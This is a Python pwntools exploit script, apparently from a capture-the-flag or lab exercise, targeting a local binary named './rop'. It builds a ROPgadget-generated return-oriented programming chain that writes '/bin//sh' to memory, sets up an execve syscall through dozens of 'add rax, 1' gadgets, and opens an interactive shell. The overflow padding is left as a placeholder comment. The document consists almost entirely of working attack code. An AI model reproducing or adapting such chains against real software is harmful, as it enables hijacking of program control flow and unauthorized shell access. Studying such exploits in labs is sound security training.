You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
95 lines
3.8 KiB
95 lines
3.8 KiB
#!/usr/bin/env python3
|
|
# execve generated by ROPgadget
|
|
|
|
from struct import pack
|
|
from pwn import *
|
|
|
|
# Padding goes here
|
|
|
|
p = b''
|
|
|
|
r = process('./rop')
|
|
|
|
p += p64(0x00000000004077ce) # pop rsi ; ret
|
|
p += p64(0x00000000004b2000) # @ .data
|
|
p += p64(0x00000000004437e3) # pop rax ; ret
|
|
p += b'/bin//sh'
|
|
p += p64(0x0000000000445171) # mov qword ptr [rsi], rax ; ret
|
|
p += p64(0x00000000004077ce) # pop rsi ; ret
|
|
p += p64(0x00000000004b2008) # @ .data + 8
|
|
p += p64(0x0000000000439720) # xor rax, rax ; ret
|
|
p += p64(0x0000000000445171) # mov qword ptr [rsi], rax ; ret
|
|
p += p64(0x00000000004017de) # pop rdi ; ret
|
|
p += p64(0x00000000004b2000) # @ .data
|
|
p += p64(0x00000000004077ce) # pop rsi ; ret
|
|
p += p64(0x00000000004b2008) # @ .data + 8
|
|
p += p64(0x00000000004016fb) # pop rdx ; ret
|
|
p += p64(0x00000000004b2008) # @ .data + 8
|
|
p += p64(0x0000000000439720) # xor rax, rax ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
p += p64(0x000000000040120b) # syscall
|
|
|
|
|
|
# print(p)
|
|
|
|
r.sendline(p)
|
|
r.interactive()
|